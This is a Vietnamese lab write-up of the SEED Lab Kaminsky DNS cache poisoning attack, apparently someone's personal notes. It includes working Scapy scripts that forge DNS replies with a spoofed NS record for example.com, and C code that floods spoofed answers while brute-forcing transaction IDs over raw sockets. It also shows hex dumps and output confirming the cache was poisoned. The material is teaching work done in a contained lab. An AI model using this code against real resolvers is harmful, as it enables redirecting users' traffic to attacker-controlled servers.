Lab Overview
Kỹ thuật tấn công DNS cache poisoning từ xa (không thể capture các gói tin) được gọi là tấn công Kaminsky.
Environment Setup
Sơ đồ mạng:
Mục tiêu chính của chúng ta là local DNS server.
Important
Mặc dù nằm cùng LAN với các host còn lại, chúng ta không thể thực hiện capture các gói tin ở trên attacker container để phục vụ cho việc tấn công (lấy transaction ID). Điều này giúp giả lập giống với tấn công Kaminsky.
Tất cả các cấu hình DNS còn lại đều giống với SEED Lab - Local DNS Attack.
How Kaminsky Attack Works
Trong task này, attacker sẽ gửi một gói tin DNS question đến local DNS server của nạn nhân (Apollo) nhằm khiến cho nó gửi đi các gói tin DNS question đến các DNS server khác, mà cụ thể là root DNS server, .com
DNS server và example.com
DNS server.
Trong trường hợp nameserver của domain example.com
đã được cache bởi Apollo thì nó sẽ không gửi các truy vấn đến root server và .com
DNS server. Minh họa bằng bước 1 trong hình sau:
Trong khi Apollo chờ gói tin DNS answer từ example.com
DNS server, attacker có thể gửi gói tin DNS answer nhằm thêm một entry giả mạo vào DNS cache của Apollo.
Để tạo ra gói tin DNS answer hợp lệ, transaction ID trong gói tin cần phải giống với transaction ID của gói tin DNS question. Tuy nhiên, do attacker container không nằm cùng mạng với Apollo nên nó không thể lắng nghe được các gói tin DNS question. Hơn thế nữa, giá trị transaction ID trong gói tin DNS question thường được sinh ra ngẫu nhiên.
Hiển nhiên, attacker có thể thực hiện brute-force transaction ID do nó chỉ có 16 bit (tương ứng với số lần thử) trước khi Apollo nhận được gói tin DNS answer từ example.com
DNS server.
Tuy nhiên, ý tưởng trên chưa xét đến việc Apollo lưu cache cho domain example.com
. Khi đó, nếu có một gói tin DNS question được gửi từ attacker container, nó sẽ không gửi đi gói tin DNS question đến example.com
DNS server mà trả về gói tin DNS answer có chứa record ở trong DNS cache ngay lập tức. Để làm giả gói tin DNS answer cho domain example.com
, attacker cần phải chờ cho entry của nó trong DNS cache bị hết hạn và quá trình này có thể mất vài giờ hoặc vài ngày.
The Kaminsky Attack:
- Attacker gửi truy vấn đến Apollo nhằm phân giải một subdomain không tồn tại thuộc
example.com
chẳng hạn nhưtwysw.example.com
vớitwysw
là ngẫu nhiên. - Do không có entry liên quan đến
twysw.example.com
ở trong DNS cache, Apollo sẽ gửi gói tin DNS question đếnexample.com
DNS server. - Trong khi Apollo chờ phản hồi từ
example.com
DNS server, attacker liên tục gửi các gói tin DNS answer giả mạo với các transaction ID khác nhau. Trong gói tin DNS answer, attacker còn thêm vào một NS record1 giúp chỉ địnhns.attacker32.com
làm nameserver của domainexample.com
. - Kể cả khi các gói tin DNS answer thất bại (có thể là do transaction ID không khớp hoặc đến Apollo trễ) thì cũng không vấn đề gì vì attacker sẽ lại gửi một gói tin DNS question với subdomain khác nhằm khiến cho Apollo gửi đi gói tin DNS question đến
example.com
DNS server. - Nếu việc tấn công thành công, nameserver của
example.com
sẽ bị thay thế thành attacker nameserver (ns.attacker32.com
).
Task 2: Construct DNS Request
Cần viết một chương trình để khiến cho local DNS server gửi gói tin DNS question đến nameserver của example.com
.
Xây dựng script như sau:
from scapy.all import *
from scapy.layers.inet import IP, UDP
from scapy.layers.dns import DNS, DNSQR
DOMAIN_NAME = "www.example.com"
LOCAL_DNS_SERVER_IP = "10.9.0.53"
ATTACKER_CONTAINER_IP = "10.9.0.1"
ip = IP(dst=LOCAL_DNS_SERVER_IP, src=ATTACKER_CONTAINER_IP)
udp = UDP(dport=53, sport=random.randint(1024, 65535))
dnsqr = DNSQR(qname=DOMAIN_NAME)
dns = DNS(
id=0xAAAA,
qr=0,
qdcount=1,
ancount=0,
nscount=0,
arcount=0,
qd=dnsqr,
)
pkt = ip / udp / dns
pkt.show()
send(pkt, verbose=0)
Gói tin gửi đi có dạng như sau:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = udp
chksum = None
src = 10.9.0.1
dst = 10.9.0.53
\options \
###[ UDP ]###
sport = 27352
dport = domain
len = None
chksum = None
###[ DNS ]###
id = 43690
qr = 0
opcode = QUERY
aa = 0
tc = 0
rd = 1
ra = 0
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 0
nscount = 0
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'www.example.com'
| qtype = A
| qclass = IN
an = None
ns = None
ar = None
Local DNS có gửi đi các gói tin DNS question:
DNS: 10.9.0.1 --> 10.9.0.53: 43690
DNS: 10.9.0.53 --> 192.42.93.30: 40792
DNS: 192.42.93.30 --> 10.9.0.53: 40792
DNS: 10.9.0.53 --> 199.43.133.53: 37300
DNS: 199.43.133.53 --> 10.9.0.53: 37300
Answer: 93.184.215.14
DNS: 10.9.0.53 --> 10.9.0.1: 43690
Answer: 93.184.215.14
Với 93.184.215.14
chính là địa chỉ IP của www.example.com
.
Thử gửi gói tin DNS question với domain là www.example.com
lần nữa thì không thấy local DNS server gửi gói tin DNS question:
DNS: 10.9.0.1 --> 10.9.0.53: 43690
DNS: 10.9.0.53 --> 10.9.0.1: 43690
Answer: 93.184.215.14
Thay đổi domain thành twysw.example.com
(một domain không tồn tại) thì thấy có gói tin DNS question gửi đi:
DNS: 10.9.0.1 --> 10.9.0.53: 43690
DNS: 10.9.0.53 --> 199.43.133.53: 60046
DNS: 199.43.133.53 --> 10.9.0.53: 60046
DNS: 10.9.0.53 --> 10.9.0.1: 43690
Do domain twysw.example.com
không tồn tại nên các gói tin DNS answer trả về không có chứa Answer Section.
Task 3: Spoof DNS Replies
Do chúng ta làm giả gói tin DNS answer từ nameserver của example.com
, chúng ta cần phải biết địa chỉ IP của nó (chú ý rằng có nhiều nameserver của domain này).
Thử phân giải example.com
thì thấy gói tin DNS answer từ .com
DNS server có chứa các record sau:
192.41.162.30 --> 10.9.0.53: 29605
\qd \
|###[ DNS Question Record ]###
| qname = 'example.com.'
| qtype = A
| qclass = IN
an = None
\ns \
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = NS
| rclass = IN
| ttl = 172800
| rdlen = None
| rdata = 'a.iana-servers.net.'
|###[ DNS Resource Record ]###
| rrname = 'example.com.'
| type = NS
| rclass = IN
| ttl = 172800
| rdlen = None
| rdata = 'b.iana-servers.net.'
Domain a.iana-servers.net
được phân giải thành 199.43.135.53
còn b.iana-servers.net
được phân giải thành 199.43.133.53
. DNS cache còn có domain c.iana-servers.net
:
root@827a19f91c97:/# cat /var/cache/bind/dump.db | grep iana-servers
example.com. 691083 NS a.iana-servers.net.
691083 NS b.iana-servers.net.
iana-servers.net. 606484 NS a.iana-servers.net.
606484 NS b.iana-servers.net.
606484 NS c.iana-servers.net.
20240531063320 20240510134736 1273 iana-servers.net.
a.iana-servers.net. 606483 A 199.43.135.53
20240528024833 20240507025729 51759 iana-servers.net.
20240530132535 20240509074735 1273 iana-servers.net.
b.iana-servers.net. 606483 A 199.43.133.53
20240528043704 20240507114735 51759 iana-servers.net.
20240529202738 20240509054735 1273 iana-servers.net.
c.iana-servers.net. 777483 A 199.43.134.53
20240530120317 20240509094735 1273 iana-servers.net.
Viết script như sau:
from scapy.all import *
from scapy.layers.inet import IP, UDP
from scapy.layers.dns import DNS, DNSQR, DNSRR
DOMAIN = "twysw.example.com"
DOMAIN_NAME = "example.com"
LOCAL_DNS_SERVER_IP = "10.9.0.53"
LOCAL_DNS_SERVER_SRC_PORT = 33333
ATTACKER_NAMESERVER = "ns.attacker32.com"
ATTACKER_NAMESERVER_IP = "10.9.0.153"
EXAMPLE_NAMESERVER_IP = "199.43.135.53"
dnsqr = DNSQR(qname=DOMAIN)
dnsrr = DNSRR(rrname=DOMAIN, type="A", rdata=ATTACKER_NAMESERVER_IP, ttl=259200)
ns = DNSRR(rrname=DOMAIN_NAME, type="NS", rdata=ATTACKER_NAMESERVER, ttl=259200)
dns = DNS(
id=0xAAAA,
aa=1,
rd=1,
qr=1,
qdcount=1,
ancount=1,
nscount=1,
qd=dnsqr,
an=dnsrr,
ns=ns,
)
ip = IP(dst=LOCAL_DNS_SERVER_IP, src=EXAMPLE_NAMESERVER_IP)
udp = UDP(dport=LOCAL_DNS_SERVER_SRC_PORT, sport=53)
pkt = ip / udp / dns
pkt.show()
send(pkt, verbose=0)
Giải thích script trên:
- Ta sẽ phân giải subdomain
twysw.example.com
thành địa chỉ IP của attacker container (10.9.0.1
). - NS record sẽ chỉ định nameserver của domain
example.com
làns.attacker32.com
. - Gửi đến port 33333 của local DNS server vì ta đã gán cứng ở trong cấu hình (nhằm đơn giản hóa việc tấn công).
Gói tin DNS answer gửi đi có dạng như sau:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = udp
chksum = None
src = 199.43.135.53
dst = 10.9.0.53
\options \
###[ UDP ]###
sport = domain
dport = 33333
len = None
chksum = None
###[ DNS ]###
id = 43690
qr = 1
opcode = QUERY
aa = 1
tc = 0
rd = 1
ra = 0
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 1
nscount = 1
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'twysw.example.com'
| qtype = A
| qclass = IN
\an \
|###[ DNS Resource Record ]###
| rrname = 'twysw.example.com'
| type = A
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 10.9.0.153
\ns \
|###[ DNS Resource Record ]###
| rrname = 'example.com'
| type = NS
| rclass = IN
| ttl = 259200
| rdlen = None
| rdata = 'ns.attacker32.com'
ar = None
Task 4: Launch the Kaminsky Attack
Để thực hiện tấn công Kaminsky, chúng ta cần phải gửi rất nhiều gói tin DNS answer trong thời gian ngắn. Scapy không thể đáp ứng được yêu cầu này và việc xây dựng gói tin DNS trong C cũng không dễ dàng. Do đó, ta sẽ sử dụng kết hợp Scapy và C. Cụ thể, ta sẽ dùng Scapy để tạo ra gói tin DNS và lưu vào một tập tin. Sau đó, ta nạp tập tin này vào C và thay đổi một số trường rồi gửi gói tin.
Generating DNS Templates
Sử dụng lại script của Task 2 Construct DNS Request để xây dựng gói tin DNS question và script của Task 3 Spoof DNS Replies để xây dựng gói tin DNS answer. Để ghi vào tập tin, ta dùng đoạn code sau:
with open("ip.bin", "wb") as f:
f.write(bytes(pkt))
Hex dump của gói tin DNS question:
00000000: 4500 003f 0001 0000 4011 6666 0a09 0001 E..?....@.ff....
00000010: 0a09 0035 8235 0035 002b fe68 aaaa 0100 ...5.5.5.+.h....
00000020: 0001 0000 0000 0000 0574 7779 7377 0765 .........twysw.e
00000030: 7861 6d70 6c65 0363 6f6d 0000 0100 01 xample.com.....
Hex dump của gói tin DNS answer:
00000000: 4500 008a 0001 0000 4011 21c4 c72b 8735 E.......@.!..+.5
00000010: 0a09 0035 0035 8235 0076 cf74 aaaa 8500 ...5.5.5.v.t....
00000020: 0001 0001 0001 0000 0574 7779 7377 0765 .........twysw.e
00000030: 7861 6d70 6c65 0363 6f6d 0000 0100 0105 xample.com......
00000040: 7477 7973 7707 6578 616d 706c 6503 636f twysw.example.co
00000050: 6d00 0001 0001 0003 f480 0004 0a09 0099 m...............
00000060: 0765 7861 6d70 6c65 0363 6f6d 0000 0200 .example.com....
00000070: 0100 03f4 8000 1302 6e73 0a61 7474 6163 ........ns.attac
00000080: 6b65 7233 3203 636f 6d00 ker32.com.
Sending DNS Question
Nạp gói tin DNS question vào chương trình C:
// Load the DNS request packet from file
FILE *f_req = fopen("ip_req.bin", "rb");
if (!f_req)
{
perror("Can't open 'ip_req.bin'");
exit(1);
}
unsigned char ip_req[MAX_FILE_SIZE];
int ip_req_size = fread(ip_req, 1, MAX_FILE_SIZE, f_req);
Chúng ta sẽ cần phải sinh ra subdomain ngẫu nhiên mỗi lần gửi gói tin DNS question:
srand(time(NULL));
unsigned char a[26] = "abcdefghijklmnopqrstuvwxyz";
while (1)
{
unsigned char name[6];
name[5] = '\0';
for (int k = 0; k < 5; k++)
name[k] = a[rand() % 26];
/* Send DNS question packet */
/* Send spoofed DNS answer packet */
}
Ghi vào trường Name ở trong Question Section rồi gửi gói tin DNS question:
// Modify the name in the question field (offset=41)
memcpy(ip_req + 41, name, 5);
// Send request packet
send_dns_pkt(ip_req, ip_req_size);
Với 41
(0x29
) là offset của chuỗi subdomain.
Hàm send_dns_pkt()
có mã nguồn như sau:
void send_dns_pkt(unsigned char *buffer, int len)
{
// Compute UDP checksum
struct iphdr *iph = (struct iphdr *)buffer;
unsigned short *ip_payload = (unsigned short *)(buffer + sizeof(struct iphdr));
compute_udp_checksum(iph, ip_payload);
// Send through layer 3 raw socket
send_raw_packet(buffer, len);
}
Với hàm compute_udp_checksum()
tham khảo từ How to Calculate IP/TCP/UDP Checksum (github.com).
Gói tin DNS question gửi đi có record như sau:
\qd \
|###[ DNS Question Record ]###
| qname = 'sccwt.example.com.'
| qtype = A
| qclass = IN
Gói tin này là hợp lệ nên local DNS server gửi các gói tin DNS question đến các DNS server khác:
Sending DNS Answer
Nạp gói tin DNS answer vào chương trình C:
// Load the first DNS response packet from file
FILE *f_resp = fopen("ip_resp.bin", "rb");
if (!f_resp)
{
perror("Can't open 'ip_resp.bin'");
exit(1);
}
unsigned char ip_resp[MAX_FILE_SIZE];
int ip_resp_size = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
Sử dụng vòng lặp để lặp qua các transaction ID từ 0 đến :
for (int txid = 0; txid < 2e16; txid++)
{
unsigned short id = txid;
unsigned short id_net_order = htons(id);
}
Các thông tin của gói tin DNS answer mà ta cần chỉnh sửa:
- Transaction ID: ở offset 28 (
0x1C
). - Name ở trong Question Section: ở offset 41 (
0x29
). - Name ở trong Answer Section: ở offset 64 (
0x40
).
// Modify the transaction ID field (offset=28)
memcpy(ip_resp + 28, &id_net_order, 2);
// Modify the name in the question field (offset=41)
memcpy(ip_resp + 41, name, 5);
// Modify the name in the answer field (offset=64)
memcpy(ip_resp + 64, name, 5);
Note
Việc chỉnh sửa Name ở trong Question Section cho thấy ta giá trị của trường này trong gói tin DNS answer có thể không giống với giá trị ở trong gói tin DNS question.
Cũng sử dụng hàm send_dns_pkt
để gửi gói tin:
// Send response packet
send_dns_pkt(ip_resp, ip_resp_size);
Compiling and Running the Program
Biên dịch và chạy như sau:
root@archlinux:/volumes# gcc -o attack.out attack.c
root@archlinux:/volumes# attack.out
Note
Có thể chạy chương trình nhiều lần và không nhất thiết phải xóa DNS cache của local DNS server trước khi chạy lại.
Task 5: Result Verification
Sau một vài lần chạy thì ta thấy rằng nameserver của example.com
đã trỏ đến ns.attacker32.com
:
root@827a19f91c97:/# rndc dumpdb -cache | grep example /var/cache/bind/dump.db
example.com. 777581 NS ns.attacker32.com.
mhhvq.example.com. 863981 A 10.9.0.153
Kiểm tra traffic trong Wireshark thì ta tìm ra transaction ID của gói tin DNS question là 0xbc1d
và chương trình của chúng ta có gửi gói tin DNS answer với transaction ID này:
Sau khi nhận được gói tin DNS answer, local DNS server trả lại cho attacker container gói tin sau:
Phân giải domain example.com
ở trên user container sử dụng local DNS server:
root@7ec7a0d9048e:/# dig www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2507
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: f16494c25d2c3629010000006643487ce1ce87723a3c964f (good)
;; QUESTION SECTION:
;www.example.com. IN A
;; ANSWER SECTION:
www.example.com. 259200 IN A 1.2.3.5
;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Tue May 14 11:18:20 UTC 2024
;; MSG SIZE rcvd: 88
Phân giải trên user container sử dụng attacker nameserver:
root@7ec7a0d9048e:/# dig @ns.attacker32.com www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21461
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 0cb66917693beeb7010000006643488aa7461fc0388cf241 (good)
;; QUESTION SECTION:
;www.example.com. IN A
;; ANSWER SECTION:
www.example.com. 259200 IN A 1.2.3.5
;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Tue May 14 11:18:34 UTC 2024
;; MSG SIZE rcvd: 88
Related
list
from outgoing([[SEED Lab - Kaminsky Attack]])
sort file.ctime asc